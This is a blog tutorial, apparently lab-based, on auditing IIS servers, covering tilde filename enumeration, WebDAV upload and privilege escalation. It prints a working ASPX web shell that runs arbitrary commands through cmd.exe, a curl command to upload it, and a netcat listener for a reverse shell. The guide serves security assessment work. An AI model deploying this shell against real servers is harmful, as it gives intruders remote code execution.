Logo
Warrior's Blog
Technology•Oct 6, 2026•3 min read•
Ceff
Ceff

Hardening, Enumeration, and Privilege Escalation: A Guide to IIS Security Assessments

Hardening, Enumeration, and Privilege Escalation: A Guide to IIS Security Assessments

Hardening, Enumeration, and Privilege Escalation: A Guide to IIS Security Assessments

In this post, we cover the core methodology for auditing an IIS (Internet Information Services) server from scratch—ranging from initial reconnaissance and 8.3 tilde filename enumeration to WebDAV exploitation and privilege escalation via ASPX web shells.

1. Fingerprinting and Reconnaissance

The first step in any IIS assessment is identifying the server version and allowed HTTP methods to map out the attack surface.

  • Version Detection: Checking the Server response header or running Nmap helps determine the underlying Windows build and applicable CVEs.
  • HTTP Methods: Sending an OPTIONS request reveals whether risky verbs like PUT, DELETE, or TRACE are enabled.

Bash

# Check allowed HTTP methods using curl
curl -i -X OPTIONS http://<TARGET-IP>/

2. IIS Tilde (8.3) Enumeration

Windows maintains a legacy 8.3 short filename format (~1) for backward compatibility. IIS responds differently to paths containing tilde characters, allowing tools to reconstruct hidden directories and backup files character by character.

  • Run the scanner to discover hidden endpoints:

Bash

cd /opt/IIS_shortname_Scanner
python3 iis_shortname_scan.py http://<TARGET-IP>/

This technique often surfaces sensitive directories like /BackupFiles/, where exposed notes (e.g., webdav_notes.txt) may leak credentials.

3. WebDAV Exploitation & Shell Upload

If a WebDAV directory has write permissions and script execution enabled, valid credentials can be used to upload an ASPX web shell and achieve remote code execution (RCE).

Create the ASPX Command Shell (cmd.aspx):Code snippet

<%@ Page Language="C#" %>
<%
string cmd = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
}
%>

Upload via PUT with NTLM Authentication:Bash

curl -v --ntlm -u 'webdav_user:P@ssw0rd!123' -T cmd.aspx http://<TARGET-IP>/webdav/cmd.aspx

(A 201 Created HTTP response confirms the file was successfully written.)

4. Interactive Reverse Shell & Privilege Analysis

While browser-based command execution is useful, an interactive reverse shell provides a stable working environment.

Start a Netcat Listener (AttackBox):Bash

nc -lvnp 443

Check Privileges within the Shell: Once connected, running whoami /priv reveals the available tokens:PowerShell

whoami /priv

Notice that SeImpersonatePrivilege is enabled. This privilege is the primary stepping stone for Potato-style exploits (e.g., PrintSpoofer, GodPotato) to escalate from iis apppool\defaultapppool to SYSTEM.

5. Common IIS Misconfigurations

Many IIS findings require no exploits or CVEs at all—just flawed administrative configurations:

  • Directory Listing: Leaving directory browsing enabled exposes sensitive backup or source files (.bak, .config, .sql).
  • web.config Exposure: Improper request filtering can allow unauthenticated downloads of application configuration strings and credentials.
  • trace.axd Diagnostics: Leaving ASP.NET tracing enabled exposes request histories, session cookies, and tokens.